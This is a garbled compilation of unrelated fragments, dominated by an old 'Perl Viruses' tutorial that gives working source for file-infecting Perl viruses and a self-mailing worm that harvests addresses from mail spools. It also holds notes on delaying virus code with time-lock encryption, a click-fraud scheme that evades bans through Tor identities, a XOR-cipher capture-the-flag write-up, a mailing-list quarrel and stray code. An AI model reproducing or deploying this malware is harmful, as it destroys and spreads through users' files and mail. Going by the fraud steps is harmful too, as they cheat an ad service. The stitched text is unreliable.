WELCOME TO THE MESSIAH CODE BEGINNING! what do I need to inject : Low-pass filter with variable cutoff frequency based on */ /* piece-wise linear interpolation between elliptic filters */ /* Start by setting transition_frame_no = 1; */ void silk_LP_variable_cutoff( silk_LP_state *psLP, /* I/O LP filter state */ opus_int16 *frame, /* I/O Low-pass filtered output signal */ const opus_int frame_length /* I Frame length */ ); https://chromium.googlesource.com/chromium/deps/opus/+/master/silk/main.h
Perl Viruses
by SnakeByte [ SnakeByte@kryptocrew.de ]
www.kryptocrew.de/snakebyte
Due to the fact, that I have to learn perl for a job, I decided to write a virus in
this language. Until this morning I haven't found a perl virus source on the web,
so I decided to write a little paper about perl viruses. This tutorial has the
same structure like my tutorial about Linux Shell Script Viruses and so I am sure,
that also perl newbies ( like me ;) ) will understand it. At the moment I did not have
a look at the perl virus I found, because I want to try to produce my own.
( Just finished a totally lame overwritter, but decided to start typing this,
because I want the reader to follow my steps ).
All code you will see here is tested on a SuSe 7.0 Linux with Perl 5.0005_3 and
worked well. I try to make it compatible to other OS'es but can't guarantee this.
Ok, let's start with the Overwritter I talked about. First the source
and then I will explain what it does.
#!/usr/bin/perl
open(File,$0);
@Virus=;
close(File);
foreach $FileName (<*>)
{
open(File, ">$FileName");
print File @Virus;
close (File);
}
The first line is a comment ( marked with an # ). It is a nearly standart, that every
perl file contains the path and file of the perl interpreter in the first line.
On the second line, we open ourselves. The filename of the running script is stored
in $0. Then in the third line, we pass the content of our file into the array
@Virus. Now, every Value of the Array ( @Virus[1], @Virus[2] ... ) contains one
line of our file. Because this is all we want to do with our own file, we close it.
Then we start a loop to search for files. We pass this loop for all files in the
current directory (<*>) and pass their name to $FileName. We open the file
for write access ( shown by the > bevore the filename ) and simply print our virus
over the old file. ( if we would want to append instead of overwriting the file, we
would use a >>filename instead ). Ok, the file is replaced by the virus, so lets get
the next one and do the same...
I think this little code snippet should be very clear now ;)
Lets make it a bit better, so we will not overwrite every file, but just perl files.
#!/usr/bin/perl
open(File,$0);
@Virus=;
close(File);
foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(File, "$FileName");
@Temp=;
close(File);
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
{
open(File, ">$FileName");
print File @Virus;
close (File);
}
}
}
The first few lines are known from the previous example. Then follows a huge :)
if-construction. Let's see what it does. It filters out all files, which
we are able to read ( -r ) to write to ( -w ) and which are files at all and no directorys ( -f ).
Each one of these criterias must be fulfilled, because we appended them together with an
&& which is a logical AND. Then we open the file for read access. ( You see, no > bevore the filename ).
We load the entire file to $Temp and close it. Then we check the first ( @Temp[0] ) and the
second line ( @Temp[1] ) for the word "perl" ( cases are not ignored, but till now I found no case
ignoring comparison method for strings, but I go on looking *g* ), to check
if we got a perl file. The rest is like in the example before. Here two things we could additionally
do to check the files. The one is to see if they are executable ( if (-x $FileName ) ), but since I
think that we cannot check this in windows environment, and that there are people like me,
which start their perl files with the interpreter and not setting the executable flag on the
files, I won't do it. The other check we could do is with the linux command 'file' to see if
a file is a perl script. But this wouldn't work in windows too, so i will not do this here.
Ok, i think this made the basics understandable. Now, forget this shitty overwriting stuff and
start doing something more serious - prepending :
#!/usr/bin/perl
#PerlDemo # NEW
open(File,$0);
@Virus=;
@Virus=@Virus[0...27]; # NEW
close(File);
foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(File, "$FileName");
@Temp=;
close(File);
if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo")) # NEW
{
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
{
open(File, ">$FileName");
print File @Virus;
print File @Temp; # NEW
close (File);
}
}
}
}
This time I marked the new lines, because not much changed. The first change is that we get just the
24 first lines of the currently running ( infected ) file. This is because, we would also prepend the
original file to the one we infect. The second change is that we add the original file to the virus,
when infecting. So the new file will start with the virus, then an empty line and then the old file,
starting with the #!/usr/bin/perl or whatever ;)
The new check for "PerlDemo" is to see if the file has already been infected by us.
Normally I would start to see what can be optimized, but here we can't do much, except
trashing the lines together as far as I see :
#!/usr/bin/perl #PerlDemo
open(File,$0); @Virus=; @Virus=@Virus[0...6]; close(File);
foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus;
print File @Temp; close (File); } } } }
So this saves us just some carriage returns and is not really cool :P
Let's add some more cool features to our virus like directory travelling.
We will first take a look at downward traveling :
#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=;
@Virus=@Virus[0...24];
close(File);
&InfectFile; # NEW
chdir('..'); # NEW
&InfectFile; # NEW
sub InfectFile { # NEW
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl",,i) or (@Temp[1] =~ "perl",,i)) { # NEW
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}
What have we done ? The first change that you will mention is, that we placed the file-search and
infection routine into a sub procedure, which we call two times from the main program.
Another change is the chdir('..') which will let us get one directory down. This sould work fine
on Unix/Linux and DOS/Windows Systems, but will cause Errors on MacOS, because MacOS uses '::' to get
one directory down. Sad bud true, perl is not as portable as we want it to :P
Another change is inside the check for the file. (@Temp[1] =~ "perl",,i) The ,,i meand that we search
for the string perl and ignore the upper and lowercases, so we will also find perl files
starting with #C:\Programme\Perl\Perl.exe. A, let's call it bug in this virus is, that we don't
restore the old directory. This is another problem caused by the incompatibility of the
different OS. In Unix/Linux, we can simply get the current path by doing a $CurPath=`pwd`;
But this would not work on Win or MacOS. Luckily we can get the OS under which we are running,
with the $^O Variable, which exists since Perl 5.0002. The following code will see if we are in Dos, Windows,
Linux, BSD or a Solaris machine.
#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=;
@Virus=@Virus[0...30];
close(File);
&InfectFile;
if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd` } # NEW
if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # NEW
$DotDot = '..'; # NEW
if ($^O =~ "MacOS") { $DotDot = "::" } # NEW
chdir($DotDot); # NEW
&InfectFile;
chdir($OldDir); # NEW
sub InfectFile {
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}
Ok, if the OS is bsd, linux or solaris, we retrieve the current path with the pwd command, which
is a normal shell command to retrieve the current path. In windows we just do this with cd, which
is normally used to change directorys but can be used to get the path as well. Then we set the two
dots to '..' like they are used in nearly every OS, except MacOS, so we change them to '::' if we
are running on a Mac. Maybe it would be a better solution to make two checks, one for MacOS, and
set the Dots, one for Dos, Windows and OS/2 to use cd to retrieve the path and for everything left,
we use the two dots and pwd to retrieve the path, because there are many more Unix and BSD Versions,
to which perl is ported and they all have the pwd command.
If we would want to travel upwards, we have the same problem, that the different operating systems
have different ways to tell us their root directory. Linux has just one /, Windows and Dos have one
for every Disk A:, B:, C: ... and as far as I know has the Mac none at all.. With the next source
I will try to handle all these problems :
#!/usr/bin/perl
# Perl - Get'em'all Virus
open(File,$0);
@Virus=;
@Virus=@Virus[0...46];
close(File);
&InfectFile;
if ($^0 =~ "MacOS") {
chdir('::');
&InfectFile; }
else { if (($^O =~ "dos") or ($^O =~ "MSWin32")) {
$OldDir = `cd`;
chdir('..');
&InfectFile;
chdir('C:\');
&SearchUpperDirectorys;
chdir($OldDir);}
else {
$OldDir = `pwd`;
chdir("/");
&SearchUpperDirectorys;
chdir($OldDir);}}
sub InfectFile {
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}
sub SearchUpperDirectorys {
foreach $Directory (<*>) {
if ((-r $Directory) && (-w &Directory ) && (-d $Directory) {
chdir ($Directory);
&InfectFile;
chdir ('..')
}}}
Ok, if we are in MacOS, we just infect the lower directory. If we are in DOS or Windows environment,
we infect the folder below and start to search for others at C:\. Afterwards we restore the old
directory. On every other OS, we search from the root directory for others. Afterwards we restore the
original one. Wow, first of all I wanted to start parsing the Path variables which contains all
directorys which will be searched when you want to start an executable, but with all these incompatility
problems... maybe later. Now I want to have a look at the virus I talked about before, which I found
on the web. AVP detects this thing as Perl.spoon and it is created by PaddingX. I just hope it is ok for
him, if I present his source here, but I don't know where to reach him to ask him. So if you read this
and want me to remove this part, just tell me ! I added some comments so you will understand the code.
These comments are marked with an 'S'
#!/usr/bin/perl
use File::Find; #S he uses a module to find files, it's included all standart perl installations
&virus(); #S calling of the sub Virus
#S after Virus Sub is executed we see a little payload ( just in dropper ! )
print "\nThis program is infected by the Perl virus\n\n";
sub virus #S start of the virus part
{
my ( $pid, $new ); #S define local variables
if( $pid = fork ) { return; }
else
{
open( source, $0 ); #S open Virus File
finddepth ( \&infect, '/home/chris/test' ); #S '/home/chris/test' is the path where files should be infected
sub infect
{
open target, "$File::Find::name"; #S open the file we want to infect
$_ = ; #S read it into a string
if ( /(\#!.*perl)/ ) #S check if we got a #! xxxx perl in the first line --> check if it is a perl file
{
$_ = ; #S read the second line
if( $_ ne "use File::Find;\n" ) #S if it uses the File::Find module it will not be infected --> infection mark
{
$new = $1 . "\nuse File::Find;\n&virus();\n" . $_; #S Write first two lines of the virus into $NEW
while( ) { $new = $new . $_; } #S Write the file we infect into $NEW
seek( source, 0, 0 );
while( ne "sub virus\n" ) { }; #S read our file until we find the virus procedure
$new = $new . "\nsub virus\n"; #S write 'sub virus' into $NEW
while( ) { $new = $new . $_; } #S append the rest of the virus to $NEW
close target; #S close the file we infect
open target, ">$File::Find::name"; #S open it again for writing
print target $new; #S write $new into the file
}
}
close( target ); #S close file we infected
}
close( source ); #S close virus file
exit( 0 ); #S exit program
}
}
# a Perl virus, by paddingx
# 08/15/1999
Ok, as we see, this virus is an appender. It writes a call to the virus at the start and appends
the rest to the file. This is like the old com infection appending in dos. ;)
The infected file will look like this :
[ Stub :
#!/usr/bin/perl
use File::Find;
&virus(); ]
[... Original File ... ]
[ .. virus procedure ..]
Even if it will just run on Unix'es ( because of the path and because fork
is not implemented on Mac OS, Win32, AmigaOS and RISC OS ) it is still a nice
piece of code, because I think it would be possible to use EPO techniques with
this kind of infection, by searching for a call (&Procedure) and change it to the
virus and place a call to the original procedure at the end of the virus...
Ok, here comes a last piece of code, just to show another simple thing you
can do with perl, because everyone says that Selfmailing Worms are something
which can just be done with windows script languages. This is a selfmailing
Perl worm, which uses sendmail and assumes, that the mails are in the
/var/spool/mail/ directory. Maybe one of those, who know more about linux than I do,
might want to modify it, to retrieve the mail folder from sendmail.cf ;)
#!/usr/bin/perl
open(File,$0);
@Virus=;
@Virus=@Virus[0...29];
close(File);
foreach $FileName (
) {
if ((-r $FileName) && (-f $FileName)) {
open(File, "$FileName");
@test1=;
close(File);
@ReceiverList = grep /From:/, @test1;
foreach $Receiver2 (@ReceiverList){
@Receiver = split(/:/, $Receiver2);
@Addy = split(/</, @Receiver[1]);
open(File,">PerlWurm");
print File "Hi@Addy[0]\n";
print File "take a look at this perl script\nand see what is possible to do\nin perl.. \n";
print File " cu soon\n\n\n";
print File @Virus;
print File ".\n";
close(File);
chomp(@Addy[1]);
chop(@Addy[1]);
$x = `sendmail @Addy[1] < PerlWurm`;
}}}
Hope you enjoyed this little trip into the world of perl. I did. ;)
2. virus ....Lets encrypt some random buffer A[] with some hashing algorithm so many
times N, so it will take us time period T. After these calculations done, we have another random buffer B[] which is used to encrypt/decrypt our "delayed" code.
There is no way to perform required N iterations using more than one computer ('coz each time current buffer is encrypted), so minimal decryption time is limited with maximal CPU speed.
If you will use computer which is fast enough, and use some time to encrypt fucking random buffer, then you may be sure that the same operation may not be done in a less time period.
So, each time the virus is active, it iterates N encryption cycles until buffer A[] will be converted into B[]. After time T will be spent to decryption, virus will got buffer B[] and use it to decrypt "delayed code".
Hi friends after lot of research online I got a new and working trick for making money online without any investment and free of cost. To learn this trick follow these steps:
1. Register on this website binbox. This is a shorting URL site where you can earn money through shorting URLs. When someone click on your short link and type the captchas to unlock the actual link you get paid.
2. Now short atleast 100 or more URLs by login to your account.
4. Make a blog post on blogger or bitlanders or post on bitbin and post those 100 links.
5. Now open Tor browser and Go to your blog post you have made (bookmark it).
6. Click all links one by one and after clicking every link type the captcha so that you get paid and remember after visiting every link click on the onion icon in tor browser and select new Identity otherwise you will be get banned.
You can get your payment through PayPal and bitcoins. The minimum amount for payout is 5$. You can withdraw it any time to your bitcoin or PayPal account.
I want to remove everything before the wa path. p = path.split('/') counter = 0 while True: if p[counter] == 'wa': break counter += 1 path = '/'+'/'.join(p[counter:]) For instance, I want '/book/html/wa/foo/bar/' to become '/wa/foo/bar/'
would be to use os.path.relpath:
>>>import os
>>> full_path ='/book/html/wa/foo/bar/'>>>print os.path.relpath(full_path,'/book/html')'wa/foo/bar'
1.the question is in which format you record and transmit the data images files, to be then "recreated" on audio...and the same reverse engeniering, from audio back to image. For instance we have the format exiftool read/write/create like XMP, MIE, VRD https://linux.die.net/man/1/exiftool 2. How to transport it? & DESIGN
a) THE RED PILL : Electroceuticals are the electronic counterparts of pharmaceuticals. They are tiny electronic devices that interact with the electrophysiology of the human body.
There's a secret passcode hidden in the robot's "history of cryptography" module. But it's encrypted! Here it is, hex-encoded: encrypted.txt. Can you find the hidden passcode?
Hint
Like the title suggests, this is repeating-key XOR. You should try to find the length of the key - it's probably around 10 bytes long, maybe a little less or a little more.
Answer
Overview
Preform Kasiski elimination to find the key length. For this problem, the keylength is 8. Since the cipher text is encrypted using repeateing xor, you can do a frequency analysis on the 0th, 8th, 16th characters, and then another one on the 1st, 9th, and 17th characters, adn then on the 2nd, 10th, and 18th character.
Details
About repeated XOR
In a repeating XOR cipher, if the key is shorter than the message (it almost always is), the key is duplicated in order to cover the whole message. Then each byte of the plain text is XORed with each according byte of the key. For example, suppose we are trying to encrypt the message 'THIS IS A MESSAGE', with the key 'YOU', we first convert all of the characters to integers using ASCII encoding. (More examples may be found on the Wikipedia page)
T H I S I S A M E S S A G E
84, 72, 73, 83, 32, 73, 83, 32, 65, 32, 77, 69, 83, 83, 65, 71, 69
Then we duplicate the key and convert it to an integer sequence.
Y O U Y O U Y O U Y O U Y O U Y O
89, 79, 85, 89, 79, 85, 89, 79, 85, 89, 79, 85, 89, 79, 85, 89, 79
Do you notice the repeating 28, 10, 111? That is because there was a repeat in the paintext that was a multiple of the keylength apart. In reality, repeats happen quite frequently, but it is just as likely to get a repeat 3 characters apart as it is to get one 4 characters apart. If they are 4 characters apart, a repeat is not shown in the cipher text, because the length of the offset (4) is not a multiple of the key length (3). For example, encrypting 'THIS MESSAGE IS NOT' with the key 'YOU' gives:
From: goncalo.costa at kpnqwest.pt (Goncalo Costa)
Subject: JAP back doored
>
> Don't be a smart ass.
>
Well, good morning to you too !
> Your arguments have nothing to do with the argument at hand which is quite
> simple: Governments should have no right to force developers to trojanize
> their applications and keep silent about it.
>
Governments have a lot of powers they should not have but German government
had nothing to do with this.
I hope you can tell the difference between a government eavesdropping on
someone and a judge/court order to eavesdrop on a suspect to gather evidence
against him.
> There have been some notes come out of this:
1> Germany has now removed this legal action, which is great
I think you should stop for a minute and try to learn the difference between
Germany (country), the German state, the German government and the German
judicial system.
"Germany" did nothing.
If you want to talk about the German government you could talk about
http://www.gnupg.org/aegypten
> 2> They intended to only watch traffic to a single German server
It seems you did not follow some posts on this list. I believe someone from
Germany explained the why and how of this JAP backdoor, and mentioned that.
3> The developers may not
> have been so forced into doing this, as much as willing -- I rather doubt
> this, especially since the order was rescinded, but their culpability does
> factor into this
So you mean these guys offering a free public anonymizing service are to
blame for complying with a court order ? I'm sure you would rather go to
jail. Where's the free public anonymizing service you're providing to the
Internet ? I'd like to use it. I'm sure I can trust you to keep my id safe.
4> I, personally, admit I would not care if they did this
> for a very serious reason such as for pedophiles or terrorists... I think a
> lot of people outraged would have to agree with this... However, I am sure
> a lot would not
>
(I believe the same person also wrote) it was a pedophilia case.
> As for the US government, this is utterly unimportant. I was playing around
> even to begin to mess with that. Yes, I am unaware of the US actively
> trojanizing applications by forcing the developers to do this.
Lotus Notes NSA backdoor ?
We're not talking about a court order here.
And Notes was not free software - its customers paid for it.
Nor it was open source software as is the case with JAP.
> So are you.
> This is illegal. You wouldn't like it if it was the US doing this. So, what
> are your real motives here?
>
Besides money that is ? :-)
package org.apache.directory.server.ntp.messages;
222324import java.util.Arrays;
25import java.util.Collections;
26import java.util.List;
272829/**30 * Reference Identifier: This is a 32-bit bitstring identifying the31 * particular reference source. In the case of NTP Version 3 or Version32 * 4 stratum-0 (unspecified) or stratum-1 (primary) servers, this is a33 * four-character ASCII string, left justified and zero padded to 3234 * bits. In NTP Version 3 secondary servers, this is the 32-bit IPv435 * address of the reference source. In NTP Version 4 secondary servers,36 * this is the low order 32 bits of the latest transmit timestamp of the37 * reference source. NTP primary (stratum 1) servers should set this38 * field to a code identifying the external reference source according39 * to the following list. If the external reference is one of those40 * listed, the associated code should be used. Codes for sources not41 * listed can be contrived as appropriate.
